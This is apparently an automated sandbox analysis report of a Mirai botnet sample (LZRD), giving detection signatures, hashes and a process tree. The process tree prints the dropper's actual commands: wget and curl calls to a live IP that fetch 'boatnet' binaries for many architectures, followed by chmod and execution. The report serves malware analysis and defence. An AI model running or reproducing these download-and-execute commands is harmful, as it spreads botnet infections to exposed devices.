Analysis

  • max time kernel
    148s
  • max time network
    138s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/07/2026, 09:41

General

  • Target
    dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c
  • Size 2KB
  • Sample260704-lnzmwadx21
  • SHA256 dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Detects suspicious XORed keyword - Mozilla/5.0 6 IoCs
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 29 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c
    /tmp/dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:644
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:649
    • /usr/bin/wget
      wget http://64.89.163.8/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:656
    • /usr/bin/curl
      curl -O http://64.89.163.8/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:671
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:674
      • /bin/chmod
        chmod +x boatnet.x86 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
        2⤵
        • File and Directory Permissions Modification
        PID:675
      • /tmp/WTF
        ./WTF
        2⤵
          PID:676
        • /usr/bin/wget
          wget http://64.89.163.8/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:678
        • /usr/bin/curl
          curl -O http://64.89.163.8/hiddenbin/boatnet.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:679
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:680
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/WTF
          ./WTF
          2⤵
            PID:682
          • /usr/bin/wget
            wget http://64.89.163.8/hiddenbin/boatnet.arc
            2⤵
            • Writes file to tmp directory
            PID:684
          • /usr/bin/curl
            curl -O http://64.89.163.8/hiddenbin/boatnet.arc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:691
          • /bin/cat
            cat boatnet.arc
            2⤵
              PID:707
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
              2⤵
              • File and Directory Permissions Modification
              PID:709
            • /tmp/WTF
              ./WTF
              2⤵
                PID:711
              • /usr/bin/wget
                wget http://64.89.163.8/hiddenbin/boatnet.i468
                2⤵
                  PID:714
                • /usr/bin/curl
                  curl -O http://64.89.163.8/hiddenbin/boatnet.i468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:722
                • /bin/cat
                  cat boatnet.i468
                  2⤵
                    PID:736
                  • /bin/chmod
                    chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                    2⤵
                    • File and Directory Permissions Modification
                    PID:737
                  • /tmp/WTF
                    ./WTF
                    2⤵
                      PID:738
                    • /usr/bin/wget
                      wget http://64.89.163.8/hiddenbin/boatnet.i686
                      2⤵
                        PID:739
                      • /usr/bin/curl
                        curl -O http://64.89.163.8/hiddenbin/boatnet.i686
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:741
                      • /bin/cat
                        cat boatnet.i686
                        2⤵
                          PID:742
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:743
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:744
                          • /usr/bin/wget
                            wget http://64.89.163.8/hiddenbin/boatnet.x86_64
                            2⤵
                              PID:745
                            • /usr/bin/curl
                              curl -O http://64.89.163.8/hiddenbin/boatnet.x86_64
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:746
                            • /bin/cat
                              cat boatnet.x86_64
                              2⤵
                                PID:747
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:748
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                  PID:749
                                • /usr/bin/wget
                                  wget http://64.89.163.8/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:750
                                • /usr/bin/curl
                                  curl -O http://64.89.163.8/hiddenbin/boatnet.mpsl
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:761
                                • /bin/cat
                                  cat boatnet.mpsl
                                  2⤵
                                    PID:774
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:775
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                      PID:777
                                    • /usr/bin/wget
                                      wget http://64.89.163.8/hiddenbin/boatnet.arm
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:780
                                    • /usr/bin/curl
                                      curl -O http://64.89.163.8/hiddenbin/boatnet.arm
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:787
                                    • /bin/cat
                                      cat boatnet.arm
                                      2⤵
                                        PID:788
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:789
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Modifies Watchdog functionality
                                        • Writes file to system bin folder
                                        • Reads runtime system information
                                        PID:790
                                      • /usr/bin/wget
                                        wget http://64.89.163.8/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:794
                                      • /usr/bin/curl
                                        curl -O http://64.89.163.8/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:795
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:796
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:797
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:798
                                          • /usr/bin/wget
                                            wget http://64.89.163.8/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:799
                                          • /usr/bin/curl
                                            curl -O http://64.89.163.8/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Checks CPU configuration
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:800
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:801
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:802
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                              • Reads runtime system information
                                              PID:803
                                            • /usr/bin/wget
                                              wget http://64.89.163.8/hiddenbin/boatnet.arm7
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:804
                                            • /usr/bin/curl
                                              curl -O http://64.89.163.8/hiddenbin/boatnet.arm7
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:805
                                            • /bin/cat
                                              cat boatnet.arm7
                                              2⤵
                                                PID:806
                                              • /bin/chmod
                                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:807
                                              • /tmp/WTF
                                                ./WTF
                                                2⤵
                                                • Modifies Watchdog functionality
                                                • Writes file to system bin folder
                                                • Reads runtime system information
                                                PID:808
                                              • /usr/bin/wget
                                                wget http://64.89.163.8/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:812
                                              • /usr/bin/curl
                                                curl -O http://64.89.163.8/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:813
                                              • /bin/cat
                                                cat boatnet.ppc
                                                2⤵
                                                  PID:814
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:815
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:816
                                                  • /usr/bin/wget
                                                    wget http://64.89.163.8/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:818
                                                  • /usr/bin/curl
                                                    curl -O http://64.89.163.8/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:819
                                                  • /bin/cat
                                                    cat boatnet.spc
                                                    2⤵
                                                      PID:820
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:821
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:822
                                                      • /usr/bin/wget
                                                        wget http://64.89.163.8/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:824
                                                      • /usr/bin/curl
                                                        curl -O http://64.89.163.8/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Checks CPU configuration
                                                        • Writes file to tmp directory
                                                        PID:825
                                                      • /bin/cat
                                                        cat boatnet.m68k
                                                        2⤵
                                                          PID:826
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:827
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:828
                                                          • /usr/bin/wget
                                                            wget http://64.89.163.8/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:830
                                                          • /usr/bin/curl
                                                            curl -O http://64.89.163.8/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:831
                                                          • /bin/cat
                                                            cat boatnet.sh4
                                                            2⤵
                                                              PID:832
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 busybox dadbd419aad33b16cc3bba0e02df43e3ac6ba234ab3eb73ab5fe2034b13a6a2c systemd-private-7283243e3ee14c7ebfefb807e8d286c2-systemd-timedated.service-iAYMAn WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:833
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:835

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 28KB
                                                                  • SHA256 846743655c839ec39c6c33b5f669425e08ce5ba0e48c48fb11ba5e5fde44d98d
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 113KB
                                                                  • SHA256 7ee99e8cad01f8425364c2a7ae1303b1852c0abd890424c5569f66a2094865e3
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 273B
                                                                  • SHA256 2a3ed546aa9433845a24f2a6fbf4ad038d83b58221bcd1f70f8121da313f392e
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 68KB
                                                                  • SHA256 131392cf0329cef0d3fd5f5a1046d8d81acc7e72950f87395577d8fd4893f255
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  boatnet.x86

                                                                  • Path /tmp/boatnet.x86
                                                                  • Size 26KB
                                                                  • SHA256 e721a97e6fd616e9dbf7d9e223519445452b20824b3c1cb8ebffeffeab0fcb0d
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  busybox

                                                                  • Path /tmp/busybox
                                                                  • Size 507KB
                                                                  • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH